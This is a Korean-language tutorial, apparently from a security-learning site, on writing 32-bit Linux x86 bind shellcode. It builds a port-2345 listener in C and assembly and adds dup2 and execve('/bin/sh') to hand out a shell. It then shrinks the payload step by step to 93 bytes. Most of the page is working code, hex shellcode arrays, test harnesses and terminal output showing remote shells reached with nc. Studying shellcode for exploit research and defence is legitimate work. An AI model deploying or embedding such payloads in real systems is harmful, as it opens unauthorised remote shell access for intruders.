Excuse the ads! We need some help to keep our site up.
List
Bind Shellcode
C language
- 다음과 같이 C 코드를 사용해 Port bind 프로그램을 작성 할 수 있습니다.
- 해당 프로그램을 이용해 지정된 Port를 사용 할 수 있습니다.
- socket() 함수를 이용해 통신에 필요한 Socket 생성이 필요합니다.
- bind() 함수를 이용해 server socket에 필요한 정보를 저장하고 커널에 등록합니다.
- listen() 함수를 이용해 클라이언트로 부터 연결 요청을 기다립니다.
- accept() 함수를 이용해 클라이언트 연결을 허용합니다.
- socket() 함수를 이용해 통신에 필요한 Socket 생성이 필요합니다.
portbind.c
#include <unistd.h> #include <string.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> int main(void){ int server_sockfd, client_sockfd; struct sockaddr_in server_addr, client_addr; socklen_t client_addr_size; server_sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_IP); server_addr.sin_family = AF_INET; // IPv4 인터넷 프로토롤 server_addr.sin_port = htons(2345); // 사용할 port 번호는 2345 server_addr.sin_addr.s_addr = INADDR_ANY; // 32bit IPV4 주소 bind(server_sockfd, (struct sockaddr *)&server_addr, sizeof(struct sockaddr)); listen(server_sockfd, 4); client_addr_size = sizeof(struct sockaddr_in); client_sockfd = accept(server_sockfd, (struct sockaddr *)&client_addr, &client_addr_size); }
Check system call number
- Assembly code를 작성하기 위해 Assembly code에서 네트워크 관련함수를 호출하는 방법을 알아야 합니다.
네트워크 관련 함수를 호출하기 위해 "__NR_socketcall" System call을 사용합니다.
socketcall - socket system calls
lazenca0x0@ubuntu:~$ cat /usr/include/x86_64-linux-gnu/asm/unistd_32.h|grep socketcall #define __NR_socketcall 102 lazenca0x0@ubuntu:~$
socketcall 시스템 함수는 다음과 같은 형태를 가집니다.
첫번째 인자에는 호출할 네트워크 함수의 콜 번호를 전달 합니다.
두번째 인자에는 호출한 네크워크 함수의 인자 값들이 저장된 인자 배열의 주소 값을 전달합니다.
Synopsis
int socketcall(int call, unsigned long *args);
- "__NR_socketcall"을 이용하여 네트워크 관련 함수를 호출하기 위해 아래 헤더 파일을 참조합니다.
- 즉, 해당 값들은 socketcall 시스템 함수의 첫번째 인자 값이 됩니다.
/usr/include/linux/net.h
#define SYS_SOCKET 1 /* sys_socket(2) */ #define SYS_BIND 2 /* sys_bind(2) */ #define SYS_CONNECT 3 /* sys_connect(2) */ #define SYS_LISTEN 4 /* sys_listen(2) */ #define SYS_ACCEPT 5 /* sys_accept(2) */ #define SYS_GETSOCKNAME 6 /* sys_getsockname(2) */ #define SYS_GETPEERNAME 7 /* sys_getpeername(2) */ #define SYS_SOCKETPAIR 8 /* sys_socketpair(2) */ #define SYS_SEND 9 /* sys_send(2) */ #define SYS_RECV 10 /* sys_recv(2) */ #define SYS_SENDTO 11 /* sys_sendto(2) */ #define SYS_RECVFROM 12 /* sys_recvfrom(2) */ #define SYS_SHUTDOWN 13 /* sys_shutdown(2) */ #define SYS_SETSOCKOPT 14 /* sys_setsockopt(2) */ #define SYS_GETSOCKOPT 15 /* sys_getsockopt(2) */ #define SYS_SENDMSG 16 /* sys_sendmsg(2) */ #define SYS_RECVMSG 17 /* sys_recvmsg(2) */ #define SYS_ACCEPT4 18 /* sys_accept4(2) */ #define SYS_RECVMMSG 19 /* sys_recvmmsg(2) */ #define SYS_SENDMMSG 20 /* sys_sendmmsg(2) */
System-specific socket constants
- Assembly code를 작성하기 전에 C 코드에서 사용된 소켓 상수들이 실제로 어떤 값을 가지는지 알아야 합니다.
System-specific socket constants
Constants | Description | Value of constants |
---|---|---|
PF_LOCAL, AF_UNIX | 같은 시스템 내에서 프로세스 끼리 통신합니다. | 1 |
PF_INET, AF_INET | IPv4 인터넷 프로토콜을 사용합니다. | 2 |
PF_INET6 | IPv6 인터넷 프로토콜을 사용합니다. | 10 |
PF_PACKET | Low level socket 을 인터페이스를 이용합니다. | 17 |
SOCK_STREAM | TCP/IP 프로토콜을 이용합니다. | 1 |
SOCK_DGRAM | UDP/IP 프로토콜을 이용합니다. | 2 |
IPPROTO_IP | TCP 용 더미 프로토콜 | 0 |
- 아래와 같이 각 header 파일에서 상수의 실제 값을 확인 할 수 있습니다.
/usr/include/linux/in.h
lazenca0x0@ubuntu:~$ cat /usr/include/linux/in.h | grep IPPROTO_IP IPPROTO_IP = 0, /* Dummy protocol for TCP */ #define IPPROTO_IP IPPROTO_IP IPPROTO_IPIP = 4, /* IPIP tunnels (older KA9Q tunnels use 94) */ #define IPPROTO_IPIP IPPROTO_IPIP IPPROTO_IPV6 = 41, /* IPv6-in-IPv4 tunnelling */ #define IPPROTO_IPV6 IPPROTO_IPV6 lazenca0x0@ubuntu:~$
/usr/include/bits/socket_type.h
lazenca0x0@ubuntu:~$ cat /usr/include/bits/socket_type.h |grep SOCK_STREAM SOCK_STREAM = 1, /* Sequenced, reliable, connection-based #define SOCK_STREAM SOCK_STREAM lazenca0x0@ubuntu:~$
/usr/include/bits/socket.h
lazenca0x0@ubuntu:~$ cat /usr/include/bits/socket.h |grep PF_INET #define PF_INET 2 /* IP protocol family. */ #define PF_INET6 10 /* IP version 6. */ #define AF_INET PF_INET #define AF_INET6 PF_INET6 lazenca0x0@ubuntu:~$
Assembly code
- 다음과 같이 앞에서 확인한 정보를 이용하여 Shellcode를 작성 할 수 있습니다.
다른 장에서 설명한 내용을 바탕으로 아래 코드를 작성 할 수 있습니다.
- 주의할 점을 다음과 같습니다.
함수 호출 후 리턴되는 값 들은 EAX 레지스터에 저장됩니다.
해당 코드에서 Client socket 정보를 사용하지 않을 것이기 때문에 accept() 함수에 전달되는 client_addr, client_addr_size의 값은 Null(0)으로 전달합니다.
Port 번호는 Stack에 저장 할 때 Little-endian format으로 저장해야 합니다.
2345 -> 0x0929 -> 0x2909
portbind-asm.s
BITS 32 ;socket(AF_INET, SOCK_STREAM, IPPROTO_IP); push BYTE 102 ; socketcall의 시스템 콜 번호 102를 Stack에 저장합니다. pop eax ; Stack에 저장된 시스템 콜 번호를 EAX 레지스터에 저장합니다. cdq ; EDX 레지스터에 DWORD 크기의 Null byte를 저장합니다. push dword 1 ; socket 함수의 호출 번호 1을 Stack에 저장합니다. pop ebx ; socketcall() 함수의 1번째 인자(EBX 레지스터)값으로 SYS_SOCKET(1)을 저장 합니다. ;두번째 인자에 전달할 인자 배열을 생성 push edx ; socket() 함수의 3번째 인자 값 0을 Stack에 저장합니다. push BYTE 1 ; socket() 함수의 2번째 인자 값 SOCK_STREAM(1)을 Stack에 저장합니다. push BYTE 2 ; socket() 함수의 1번째 인자 값 PF_INET(2)을 Stack에 저장합니다. mov ecx, esp ; socketcall() 함수의 2번째 인자(ECX 레지스터)값으로 인자 배열의 시작 주소값(ESP 레지스터)을 저장 합니다. int 0x80 ;server_sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_IP); mov esi,eax ; 소켓 함수로 부터 리턴받은 값을 ESI 레지스터에 저장합니다. ;bind(server_sockfd, (struct sockaddr *)&server_addr, sizeof(struct sockaddr)); push BYTE 0x66 ; socketcall의 시스템 콜 번호 102를 Stack에 저장합니다. pop eax ; Stack에 저장된 시스템 콜 번호를 EAX 레지스터에 저장합니다. inc ebx ; EBX 레지스터에 1이 저장되어 있으며, INC 명령어를 이용해 2로 변경합니다. ; 이로 인해 socketcall() 함수의 1번째 인자 값으로 SYS_BIND(2)를 저장하게 됩니다. ;struct sockaddr_in server_addr push edx ; server_addr.sin_family = AF_INET; push WORD 0x2909 ; server_addr.sin_port = htons(2345); push WORD bx ; server_addr.sin_addr.s_addr = INADDR_ANY; ;인자에 전달된 값을 저장 mov ecx,esp ; ECX레지스터에 server_addr 구조체의 시작 주소를 저장합니다. push BYTE 16 ; bind() 함수의 3번째 인자 값 16을 Stack에 저장합니다. push ecx ; bind() 함수의 2번째 인자 값 &server_addr을 Stack에 저장합니다. push esi ; bind() 함수의 1번째 인자 값 server_sockfd를 Stack에 저장합니다. mov ecx, esp ; socketcall() 함수의 2번째 인자 값을 ECX 레지스터에 저장 합니다. int 0x80 ;listen(server_sockfd, 4) mov BYTE al,0x66 ; inc ebx inc ebx ; EBX 레지스터에 2가 저장되어 있기 때문에 inc 명령어를 2번 호출하여 4로 변경합니다. ; 이로 인해 socketcall() 함수의 1번째 인자 값으로 SYS_LISTEN(4)를 저장하게 됩니다. push ebx ; listen() 함수의 2번째 인자 값 4를 Stack에 저장합니다. push esi ; listen() 함수의 1번째 인자 값 server_sockfd를 Stack에 저장합니다. mov ecx, esp ; socketcall() 함수의 2번째 인자 값을 ECX 레지스터에 저장 합니다. int 0x80 ;accept(server_sockfd, (struct sockaddr *)&client_addr, &client_addr_size) ;c = accept(s,0,0) mov BYTE al, 0x66 ; inc ebx ; socketcall() 함수의 1번째 인자 값으로 SYS_ACCEPT(5)를 저장하게 됩니다. push edx ; bind() 함수의 3번째 인자 값 0을 Stack에 저장합니다. push edx ; bind() 함수의 2번째 인자 값 Null을 Stack에 저장합니다. push esi ; bind() 함수의 1번째 인자 값 server_sockfd를 Stack에 저장합니다. mov ecx, esp ; socketcall() 함수의 2번째 인자 값을 ECX 레지스터에 저장 합니다. int 0x80 ;
Test program
pb.c
#include<stdio.h> #include<string.h> unsigned char shellcode [] = "\x6a\x66\x58\x99\x6a\x01\x5b\x52\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\x6a\x66\x58\x43\x52\x66\x68\x09\x29\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\xb0\x66\x43\x43\x53\x56\x89\xe1\xcd\x80\xb0\x66\x43\x52\x52\x56\x89\xe1\xcd\x80"; unsigned char code[] = ""; void main(){ int len = strlen(shellcode); printf("Shellcode len : %d\n",len); strcpy(code,shellcode); (*(void(*)()) code)(); }
- 다음과 같이 해당 프로그램에 의해 2345 port가 오픈되었습니다.
- & 를 이용해 프로그램을 백그라운드에서 실행하였습니다.
- netstat 명령어를 이용하여 해당 프로그램이 오픈한 Port를 확인할 수 있습니다.
Port bind
lazenca0x0@ubuntu:~/Shell$ gcc -o pb -z execstack -m32 pb.c lazenca0x0@ubuntu:~/Shell$ ./pb & [1] 64826 lazenca0x0@ubuntu:~/Shell$ Shellcode len : 59 lazenca0x0@ubuntu:~/Shell$ netstat -ntlp |grep pb (Not all processes could be identified, non-owned process info will not be shown, you would have to be root to see it all.) tcp 0 0 0.0.0.0:2345 0.0.0.0:* LISTEN 64826/pb lazenca0x0@ubuntu:~/Shell$
Bind Shellcode(Socket + "/bin/sh")
C language
- 앞에서 네트워크 함수를 이용해 Port를 오픈하였으며, 아래 코드를 추가해 오픈된 Port로 입력,출력 그리고 "/bin/sh"를 이용할 수 있습니다.
dup2.c
#include <unistd.h> #include <string.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> int main(void){ ... client_sockfd = accept(server_sockfd, (struct sockaddr *)&client_addr, &client_addr_size); dup2(client_sockfd, 0); dup2(client_sockfd, 1); dup2(client_sockfd, 2); char *argv[] = { "/bin/sh", NULL}; execve( "/bin/sh", argv, NULL ); }
- dup2 함수는 파일 디스크립터를 복제합니다.
- newfd 파일 디스크립터를 oldfd 파일 디스크립터에 복제합니다.
- 쉽게 설명하면 newfd 파일 디스크립터를 oldfd 파일 디스크립터에 링크한다고 생각하면 됩니다.
- 즉, 이 함수를 이용해 클라이언트가 입력,출력을 사용 할 수 있습니다.
- 표준 스트림인 표준입력(stdin), 표준 출력(stdout), 표준에러(stderr)을 client_sockfd에 복제
- newfd 파일 디스크립터를 oldfd 파일 디스크립터에 복제합니다.
SYNOPSIS
int dup2 (int oldfd , int newfd );
Check system call number
- 다음과 같이 dup2 함수의 시스템 콜 번호는 63입니다.
dup2 System call
lazenca0x0@ubuntu:~/Shell$ cat /usr/include/x86_64-linux-gnu/asm/unistd_32.h|grep dup2 #define __NR_dup2 63 lazenca0x0@ubuntu:~/Shell$
Assembly code
dup2-asm.s
BITS 32 ;s = socket(2,1,0) ;bind(s, [2, 31337, 0], 16) ;listen(s, 0) ;c = accept(s,0,0) ...코드 생략... ;dup2(client_sockfd, 0) mov ebx, eax ; accept() 함수로 부터 리턴받은 파일 디스크립터를 EBX레지스터에 저장합니다. push BYTE 0x3F ; socketcall의 시스템 콜 번호 63를 Stack에 저장합니다. pop eax ; Stack에 저장된 시스템 콜 번호를 EAX 레지스터에 저장합니다. xor ecx, ecx ; dup2() 함수의 2번째 인자 값을 표준입력(0)으로 변경합니다. int 0x80 ; ;dup2(client_sockfd, 1) mov BYTE al, 0x3F ; socketcall의 시스템 콜 번호 63를 AL 레지스터에 저장합니다. inc ecx ; dup2() 함수의 2번째 인자 값을 표준출력(1)으로 변경합니다. int 0x80 ; ;dup2(client_sockfd, 2) mov BYTE al, 0x3F ; socketcall의 시스템 콜 번호 63를 AL 레지스터에 저장합니다. inc ecx ; dup2() 함수의 2번째 인자 값을 표준에러(2)으로 변경합니다. int 0x80 ; ;execve( "/bin/sh", argv, NULL ); mov BYTE al, 11 ; execve() 시스템 함수의 콜 번호 11을 EAX레지스터에 저장합니다. push edx ; 문자열의 끝을 알리기 위해 Null을 먼저 Stack에 저장합니다. push 0x68732f2f ; 문자 "//sh"를 Stack에 저장합니다. Little-endian push 0x6e69622f ; 문자 "/bin"를 Stack에 저장합니다. Little-endian mov ebx, esp ; execve() 함수의 1번째 인자값으로 ESP 레지스터의 값을 저장합니다. push edx ; Stack에 Null을 저장합니다. mov edx, esp ; execve() 함수의 3번째 인자값으로 Null이 저장된 배열의 주소(ESP)를 저장합니다. push ebx ; Stack에 "/bin//sh" 문자의 시작주소(EBX)를 저장합니다. mov ecx, esp ; execve() 함수의 2번째 인자값으로 배열의 주소(ESP,["/bin//sh",Null],[Null])를 저장합니다. int 0x80 ;
Test program
portbindsh.c
#include<stdio.h> #include<string.h> unsigned char shellcode [] = "\x6A\x66\x58\x99\x6A\x01\x5b\x52\x6A\x01\x6A\x02\x89\xe1\xcd\x80\x89\xc6\x6A\x66\x58\x43\x52\x66\x68\x09\x29\x66\x53\x89\xe1\x6A\x10\x51\x56\x89\xe1\xcd\x80\xb0\x66\x43\x43\x53\x56\x89\xe1\xcd\x80\xb0\x66\x43\x52\x52\x56\x89\xe1\xcd\x80\x89\xc3\x6a\x3f\x58\x31\xc9\xcd\x80\xb0\x3f\x41\xcd\x80\xb0\x3f\x41\xcd\x80\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80"; unsigned char code[] = ""; void main(){ int len = strlen(shellcode); printf("Shellcode len : %d\n",len); strcpy(code,shellcode); (*(void(*)()) code)(); }
- 다음과 같이 해당 프로그램을 이용해 원격에서 "/bin/sh" 프로그램을 사용할 수 있습니다.
Port Bind (Shell)
lazenca0x0@ubuntu:~/Shell$ gcc -o portbindsh -z execstack -m32 portbindsh.c lazenca0x0@ubuntu:~/Shell$ ./portbindsh & [1] 65488 lazenca0x0@ubuntu:~/Shell$ Shellcode len : 101 lazenca0x0@ubuntu:~/Shell$ nc localhost 2345 id uid=1000(lazenca0x0) gid=1000(lazenca0x0) groups=1000(lazenca0x0),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare) exit [1]+ Done ./portbindsh lazenca0x0@ubuntu:~/Shell$
Smaller Shellcode - Call dup2()
Branch Control Structure (CMP Instructions)
- 다음 조건문들을 이용하여 dup2() 함수를 호출하는 코드의 크기를 줄일 수 있습니다.
- 다음 조건문들은 CMP 명령어 다음에 사용되는 조건부 점프 명령어들 입니다.
Conditional jump(It is commonly found after a cmp instruction)
Instructions | Meaning |
---|---|
cmp <Dest operand>, <Src operand > | 대상 피연산자가 소스 피연산자를 비교해 조건부 점프 명령어가 사용할 플래그를 설정합니다. |
je <Operand> | CMP 명령어의 대상 피연산자와 소스 피연산자가 같으면 목적으로 점프 합니다. |
jne <Operand> | CMP 명령어의 대상 피연산자와 소스 피연산자가 같지 않으면 점프 합니다. |
jl <Operand> | CMP 명령어의 대상 피연산자가 소스 피연산자 보다 작으면 점프 합니다. |
jle <Operand> | CMP 명령어의 대상 피연산자가 소스 피연산자 보다 작거나 같으면 점프 합니다. |
jnl <Operand> | CMP 명령어의 대상 피연산자가 소스 피연산자 보다 작지 않으면 점프 합니다. |
jnle <Operand> | CMP 명령어의 대상 피연산자가 소스 피연산자 보다 작거나 같지 않으면 점프 합니다. |
jg <Operand> | CMP 명령어의 대상 피연산자가 소스 피연산자 보다 큰 경우 점프 합니다. |
jge <Operand> | CMP 명령어의 대상 피연산자가 소스 피연산자 보다 크거나 같으면 점프 합니다. |
jng <Operand> | CMP 명령어의 대상 피연산자가 소스 피연산자 보다 크지 않으면 점프 합니다. |
jnge <Operand> | CMP 명령어의 대상 피연산자가 소스 피연산자 보다 크거나 같지 않으면 점프 합니다. |
C language & Assembly code
- 다음과 같이 반복문을 구현해 코드의 크기를 줄일 수 있습니다.
i <= 2
for(int i=0;i <= 2;i++){ dup2(client_sockfd,i) }
CMP, JLE 명령어를 이용해 C language와 동일한 반복문을 구현합니다.
jle-asm.s
;dup2(connected socket,{all three standard I/O file descriptors}) mov ebx,eax ; accept() 함수로 부터 리턴받은 파일 디스크립터를 EBX레지스터에 저장합니다. xor eax, eax ; EAX 레지스터를 0으로 초기화 합니다.(시스템 콜 번호) xor ecx, ecx ; ECX 레지스터를 0으로 초기화 합니다.(dup2 함수의 2번째 인자값) dup2_call: mov BYTE al, 0x3F ; dup2 함수의 시스템 콜 번호(63)를 AL 레지스터에 저장합니다. int 0x80 ; inc ecx ; dup2 함수의 2번째 인자값을 증가(+1) 시킵니다. cmp BYTE cl, 2 ; dup2 함수의 2번째 인자값과 2 를 비교합니다. jle dup2_call ; dup2 함수의 2번째 인자값이 2 보다 작거나 같으면 dup2_call로 점프 합니다.
Test program
jle.c
#include<stdio.h> #include<string.h> unsigned char shellcode [] = "\x6a\x66\x58\x99\x6a\x1\x5b\x52\x6a\x1\x6a\x2\x89\xe1\xcd\x80\x89\xc6\x6a\x66\x58\x43\x52\x66\x68\x9\x29\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\xb0\x66\x43\x43\x53\x56\x89\xe1\xcd\x80\xb0\x66\x43\x52\x52\x56\x89\xe1\xcd\x80\x89\xc3\x31\xc0\x31\xc9\xb0\x3f\xcd\x80\x41\x80\xf9\x2\x7e\xf6\xb0\xb\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80"; unsigned char code[] = ""; void main(){ int len = strlen(shellcode); printf("Shellcode len : %d\n",len); strcpy(code,shellcode); (*(void(*)()) code)(); }
- 다음과 같이 Shellcode의 길이가 98 byte로 줄어들었습니다.
- 앞에서 작성한 Port bind Shellcode의 길이는 101 byte 입니다.
- 앞에서 작성한 Port bind Shellcode의 길이는 101 byte 입니다.
Port bind shellcode (98 byte)
lazenca0x0@ubuntu:~/Shell$ gcc -o jle -z execstack -m32 jle.c lazenca0x0@ubuntu:~/Shell$ ./jle & [1] 65593 lazenca0x0@ubuntu:~/Shell$ Shellcode len : 98 lazenca0x0@ubuntu:~/Shell$ nc localhost 2345 id uid=1000(lazenca0x0) gid=1000(lazenca0x0) groups=1000(lazenca0x0),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare) exit [1]+ Done ./jle lazenca0x0@ubuntu:~/Shell$
Branch Control Structure (Zero Flag, Sign Flag)
- 아래 명령어들은 앞에서 설명한 명령어들에 비해 사용되는 위치가 자유롭습니다.
- 해당 명령어들은 Zero Flag, Sign Flag의 값에 의해 점프 여부가 결정됩니다.
ZF, SF
약어 | 이름 | 설명 |
---|---|---|
ZF | 제로 플래그(Zero Flag) | 연산 결과가 0이면 참(1) |
SF | 부호 플래그(Sign Flag) | 연산 결과가 음수이면 참(1) |
Conditional jump
Instructions | Meaning |
---|---|
jz <Operand> | 제로 플래그가 참이면 Operand로 점프 합니다. |
jnz <Operand> | 제로 플래그가 거짓이면 Operand로 점프 합니다. |
js <Operand> | 부호 플래그가 참이면 Operand로 점프합니다. |
jns <Operand> | 부호 플래그가 거짓이면 Operand로 점프합니다. |
JZ vs JE
- JE 명령어는 일반적으로 CMP 명령어 뒤에서 사용되며, JZ 명령어는 JE 명령어 보다 위치가 자유롭습니다.
- CMP 명령어 대신 DEC 명령어를 사용해 값을 감소 시켜서 음수가 되도록합니다.
- CMP 명령어 대신 DEC 명령어를 사용함으로써 코드의 길이가 줄어듭니다.
JZ vs JE
Assembly code | Hex |
---|---|
cmp cl, 2 jle FunctionName; | "\x80\xF9\x02\x0F\x8E\xFC\xFF\xFF\xFF" |
dec ecx jns FunctionName; | "\x49\x0F\x89\xFC\xFF\xFF\xFF" |
C language & Assembly code
- 다음과 같이 반복문을 구현해 코드의 크기를 줄일 수 있습니다.
i < 0
for(int i=2;i < 0;i--){ dup2(client_sockfd,i) }
- DEC, JNS 명령어를 이용해 C language와 동일한 반복문을 구현합니다.
jns-asm.s
;dup2(connected socket,{all three standard I/O file descriptors}) mov ebx,eax ; accept() 함수로 부터 리턴받은 파일 디스크립터를 EBX레지스터에 저장합니다. xor eax, eax ; EAX 레지스터를 0으로 초기화 합니다.(시스템 콜 번호) push BYTE 0x2 ; Stack에 2 저장합니다. pop ecx ; ECX 레지스터에 2으로 저장 합니다.(dup2 함수의 2번째 인자값) dup2_call: mov BYTE al, 0x3F ; dup2 함수의 시스템 콜 번호(63)를 AL 레지스터에 저장합니다. int 0x80 ; dec ecx ; dup2 함수의 2번째 인자값을 감소(-1) 시킵니다. jns dup2_call ; 부호 플래그가 거짓(0)이면 dup2_call로 점프 합니다.
Test program
jns.c
#include<stdio.h> #include<string.h> unsigned char shellcode [] = "\x6a\x66\x58\x99\x6a\x1\x5b\x52\x6a\x1\x6a\x2\x89\xe1\xcd\x80\x89\xc6\x6a\x66\x58\x43\x52\x66\x68\x9\x29\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\xb0\x66\x43\x43\x53\x56\x89\xe1\xcd\x80\xb0\x66\x43\x52\x52\x56\x89\xe1\xcd\x80\x89\xc3\x31\xc0\x6a\x2\x59\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\xb\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80"; unsigned char code[] = ""; void main(){ int len = strlen(shellcode); printf("Shellcode len : %d\n",len); strcpy(code,shellcode); (*(void(*)()) code)(); }
- 다음과 같이 Shellcode의 길이가 96 byte로 줄어들었습니다.
Port bind shellcode (96 byte)
lazenca0x0@ubuntu:~/Shell$ gcc -o jns -fno-stack-protector -z execstack --no-pie -m32 jns.c lazenca0x0@ubuntu:~/Shell$ ./jns & [1] 65763 lazenca0x0@ubuntu:~/Shell$ Shellcode len : 96 lazenca0x0@ubuntu:~/Shell$ nc localhost 2345 id uid=1000(lazenca0x0) gid=1000(lazenca0x0) groups=1000(lazenca0x0),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare) exit [1]+ Done ./jns lazenca0x0@ubuntu:~/Shell$
xchg Instruction
- 해당 명령어는 두 피연산자가 가지고 있는 값을 서로 교환하는 명령어 입니다.
xchg Instruction
xchg <Dest operand>, <Src operand>
- 해당 예제를 실행하면 XCHG 명령어에 의해 EAX 레지스터에는 3이, EBX 레지스터에는 2가 저장됩니다.
Example
mov eax, 2 mov edx, 3 xchg eax, edx
- 해당 명령어를 이용해 accept() 함수로 부터 리턴받은 파일 디스크립터를 EBX레지스터에 저장하는 코드의 길이를 줄일 수 있습니다.
Code size
mov ebx,eax | "\x89\xC3\x31\xC0" |
---|---|
xchg eax,ebx | "\x93" |
Assembly code
xchg-asm.s
;dup2(connected socket,{all three standard I/O file descriptors} xchg eax,ebx ; accept() 함수로 부터 리턴받은 파일 디스크립터를 EBX레지스터에 저장하고, EAX레지스터 초기화를 위해 파일 디스크립터(0x00000005)를 EAX 레지스터에 저장합니다. push BYTE 0x2 ; Stack에 2 저장합니다. pop ecx ; ECX 레지스터에 2으로 저장 합니다.(dup2 함수의 2번째 인자값) dup2_call: mov BYTE al, 0x3F ; dup2 함수의 시스템 콜 번호(63)를 AL 레지스터에 저장합니다. int 0x80 ; dec ecx ; dup2 함수의 2번째 인자값을 감소(-1) 시킵니다. jns dup2_call ; 부호 플래그가 거짓(0)이면 dup2_call로 점프 합니다.
Test program
xchg.c
#include<stdio.h> #include<string.h> unsigned char shellcode [] = "\x6a\x66\x58\x99\x6a\x1\x5b\x52\x6a\x1\x6a\x2\x89\xe1\xcd\x80\x89\xc6\x6a\x66\x58\x43\x52\x66\x68\x9\x29\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\xb0\x66\x43\x43\x53\x56\x89\xe1\xcd\x80\xb0\x66\x43\x52\x52\x56\x89\xe1\xcd\x80\x93\x6a\x2\x59\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\xb\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80"; unsigned char code[] = ""; void main(){ int len = strlen(shellcode); printf("Shellcode len : %d\n",len); strcpy(code,shellcode); (*(void(*)()) code)(); }
- 다음과 같이 Shellcode의 길이가 93 byte로 줄어들었습니다.
- 이러한 방법들을 이용하여 코드의 크기를 더 줄일 수 있습니다.
Port bind shellcode (93 byte)
lazenca0x0@ubuntu:~/Shell$ gcc -o xchg -fno-stack-protector -z execstack --no-pie -m32 xchg.c lazenca0x0@ubuntu:~/Shell$ ./xchg & [1] 65793 lazenca0x0@ubuntu:~/Shell$ Shellcode len : 93 lazenca0x0@ubuntu:~/Shell$ nc localhost 2345 id uid=1000(lazenca0x0) gid=1000(lazenca0x0) groups=1000(lazenca0x0),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare) exit [1]+ Done ./xchg lazenca0x0@ubuntu:~/Shell$
Related site
- https://www.rcesecurity.com/2014/07/slae-shell-bind-tcp-shellcode-linux-x86/
- https://en.wikipedia.org/wiki/File_descriptor